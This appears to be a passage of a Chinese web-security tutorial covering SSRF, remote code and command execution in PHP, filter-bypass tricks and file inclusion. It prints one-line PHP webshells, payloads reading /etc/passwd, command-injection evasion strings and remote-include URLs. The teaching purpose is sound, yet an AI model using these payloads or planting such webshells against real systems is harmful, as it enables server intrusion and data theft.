  • file:用于访问本地计算机的文件,如http://share.xxx.com/index.php?url=file:///etc/passwd

  • http:用于探测内网存活,可以对目标主机的内网网段并进行爆破,如http://192.168.91.1

    使用前要想办法得到目标主机的网络配置信息,如读取/etc/hosts/proc/net/arp/proc/net/fib_trie等文件

  • dict:用于探测或扫描内网端口,如dict://127.0.0.1:8080/info

  • ftp:用于探测目标主机是否存在ftp,如ftp://127.0.0.1:21

  • gopher:用于对内网进行信息查找,攻击格式为gopher://IP:port/_TCP/IP数据流,攻击过程看该文章

  • 若是遇到IP过滤,可以改写IP,例如192.168.0.1:

    8进制格式:0300.0250.0.1 
    16进制格式:0xC0.0xA8.0.1 
    10进制整数格式:3232235521 
    16进制整数格式:0xC0A80001 
    合并后两位:1.1.278 / 1.1.755 
    合并后三位:1.278 / 1.755 / 3.14159267
    0.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

RCE

RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

RCE漏洞在没有网站源码的情况下极其难以发现

发掘RCE漏洞方式:

  1. 代码审计挖掘

  2. 参数爆破获得,参数爆破可以用Hydra工具

  3. 使用对应中间件扫描工具进行扫描,如:

    • Struts2使用Struts2 全版本漏洞检测工具扫描

    • Thinkphp使用ThinkphpGUI 2020HackingClub线下典藏版扫描

RCE漏洞分为代码执行和命令执行,下面详细介绍

代码执行

PHP中有些函数具有将字符串作为代码执行的功能,如果这些函数控制的不严格,就能被攻击者用来执行恶意代码

常见的代码执行函数:

  1. eval函数

    eval函数把字符串作为PHP代码执行

    eval(string $code)
    
    • 1

    一句话木马

    <?php @eval($_POST['x']);?> 
    
    • 1
  2. assert函数

    assert函数会检查指定的assertion一个断言是否为FALSE,在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行

    bool assert(mixed $assertion[,Throwable $exception])
    
    • 1

    一句话木马

    <?php @assert($_POST['x']);?> 
    
    • 1
  3. call_user_func函数

    第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数

    mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])
    
    • 1

    一句话木马:

    通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

    <?php call_user_func($_POST['fun'],$_POST['arg']);?>
    
    • 1
  4. call_user_func_arrey函数

    把第一个参数作为回调函数调用,把参数数组作为回调函数的参数调用

    mixed call_user_func_arrey(callable $callback,array $param_arr)
    
    • 1

    一句话木马:

    通过POST型fun参数调用system函数,通过POST型arg参数传入id命令,执行了system('id')返回当前用户信息

    <?php call_user_func_array($_POST['fun'],$_POST['arg']);?>
    
    • 1
  5. create_function函数

    根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称

    string create_function(string $args,string $code)
    
    • 1

    示例代码

    <?php 
    	$id=$_GET['id']; 
    	$code='echo'.$func.'test'.$id.';'; 
    	create_function('$func',$code); 
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    create_function函数会创建虚拟函数,转变成以下代码

    <?php 
    	$id=$_GET['id']; 
    	function func($func){ 	
    		echo "test".$id;  
    	} 
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    当传入id的值为1;}phpinfo();/*时 就可以造成 代码执行

  6. array_map函数

    函数返回为每个数组元素应用callback函数之后的数组,callback函数形参的数量和传给array_map函数的数组和数量必须相同

    array array_map(callable $callback,array $array1[,array $array2...])
    
    • 1

    示例

    <?php 
    	$func=$_GET['func']; 
    	$argv=$_GET['argv']; 
    	$array[0]=$argv; 
    	array_map($func,$array); 
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    输入语句

    http://xxx/index.php?func=system&argv=id
    
    • 1

    就可以执行任意代码

  7. prep_replace函数

    执行一个正则表达式的搜索和替换

    mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]])
    
    • 1

    此函数存在模式修饰符,其中修饰符e会让函数将替换后的函数作为PHP代码执行

    如果设置了这个被弃用的修饰符 ,函数对替换字符进行后向引用替换之后 ,将替换后的字符串作为PHP代码评估执行,并使用执行结果作为实际参与替换的字符串,单引号、双引号、反斜线和Null字符在后向引用替换式会被自动加上反斜线转义

    示例

    <?php 
    	$subject='hello hack';
    	$pattern='/hack/e'
    	$replacement=$_GET["name"];
    	echo preg_replace($pattern,$replacement,$subject);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    测试语句

    http://xxx/index.php?name=phpinfo()
    
    • 1

    preg_replace函数会将hack替换成phpinfo()同时因为有e修饰符,会将phpinfo()当做代码执行

命令执行

命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

产生原因:

  1. 没有对用户输入进行过滤或过滤不严,如:没有过滤&、&&、| 、||等连接符号。

  2. 系统漏洞造成的命令执行,如:bash破壳漏洞(CVE-2014-6271)

  3. 调用的第三方组件存在代码执行漏洞

    • php (system() 、 shell_exec() 、pcntl_exec()、 exec() 、 eval()、popen()、proc_open()、passthru()、反引号 ``)

    • JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)

    • ThinkPHP命令执行

过滤绕过

若是cat被过滤,可以用tac
cat是正向读取,tac是反向读取

Windows系统支持的管道符如下:

  1. “|”:直接执行后面的语句。
  2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
  3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:

  1. “;”:执行完前面的语句再执行后面的语句。
  2. “|”:显示后面语句的执行结果。
  3. “||”:当前面的语句执行出错时,执行后面的语句。
  4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
  5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

因此,不一定非要用&,可以用"/","|",";"
若被过滤,可以使用URL码,如%0A(linux换行符)、%0D(回车符)、%0D%0A(window换行符)

对于以下命令:

cat$IFS$9`ls`
  • 1
  • 反引号的作用是将命令的输出当做输入执行
  • 即先执行ls,然后输出的内容又当作输入执行
  • 因此这条命令的作用是查看该文件夹下所有文件的内容

空格绕过:

IFS表示Internal Field Separator(内部字段分隔符),空格可以用**${IFS}**代替

  • cat${IFS}flag.txt
  • cat$IFS$9flag.txt(这里用$1~9都可以)
  • cat<flag.txt
  • cat<>flag.txt(<>为重定向符号)
  • kg=$'\x20flag.txt'&&cat$kg(\x20转化成字符串是空格,这里通过变量的方式绕过)

敏感字符绕过:

  1. 变量绕过:a=g.php;cat fla$a

  2. 编码绕过(假设过滤cat):

    `echo 'Y2F0Cg=='|base64 -d` flag.txt
    
    • 1
  3. 链接符截断绕过(假设过滤cat):

    • c\at flag.txt
    • ca$@t flag.txt
    • c'a't flag.txt

通配符绕过:

  1. **?在linux里面可以进行代替一个任意字符**
    • /???/[l-n]s可以代替ls
    • /???/c?t flag.txt 可一代替cat flag.txt
  2. *在linux里面可以代替任意一个符号
    • ls *.php列出当前目录下所有php文件
  3. 无字母数字匹配
    • 如果外面遇到一个正则表达式将字母数字$这些都过滤掉,要外面执行一个脚本的话
    • 假如脚本名称为chakdiD且在根目录/etc下。我们可以用./???/???????[@-[](问号的个数对应chakdiD脚本的路径)
    • [@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,可以绕过正则表达式

文件包含

文件包含是指传递一个参数(可以是一个文件),然后PHP脚本包含这个文件,则无论这个文件是什么格式,访问PHP脚本,传递参数的文件都能以PHP格式执行

在一个网站中任何一个能提交的参数都是文件包含的测试对象

文件包含相关函数:

  • php

    require:函数出现错误时,会直接报错并退出程序执行
    require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。
    include:出现错误时,会出现警告但是程序会继续执行
    include-once:出现错误时,会抛出警告,且仅包含一次 
    
    • 1
    • 2
    • 3
    • 4
  • jsp/servlet

    ava.io.file()
    java.io.filereader()  
    
    • 1
    • 2
  • asp

    include file
    include virtual 
    
    • 1
    • 2
  • java

    本地文件包含造成的危害就只有文件读取,一般情况下是不能造成命令执行或代码执行的。

文件包含分为本地文件包含与远程文件包含,下面详细介绍

本地文件包含

本地文件包含漏洞指能够读取或执行包含本地文件的漏洞,如:

无限制跨目录
http ://127.0.0.1/test.php?filename=../../1.txt
---跨越2级目录
  • 1
  • 2
有限制的文件包含
<?php 
	$filename=$_GET['filename'];
	include($filename.[".html"]);
?>
  • 1
  • 2
  • 3
  • 4

filename参数后面包含的文件后缀名增加了一个HTML

绕过方式:

  1. %00截断

  2. 长度截断

    原理:垃圾数据溢出

    windows中点号需要长于256位(文件命名),Linux中点号需要长于4096位

    #http://192.168.102.143:8888/test.php?filename2=1.txt./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
    
    • 1

    超过文件命名256位,后面的HTML就没有被识别,而1.txt././被当成1.txt执行

远程文件包含

远程文件包含是指通过url地址对远程的文件进行包含

前提条件:在php.ini中allow_url_fopen=on、allow_url_include=on

http://127.0.0.1/test.php?filename=http://192.168.8.10/1.txt
  • 1
php伪协议

还可以使用php伪协议进行文件包含

推荐阅读
相关标签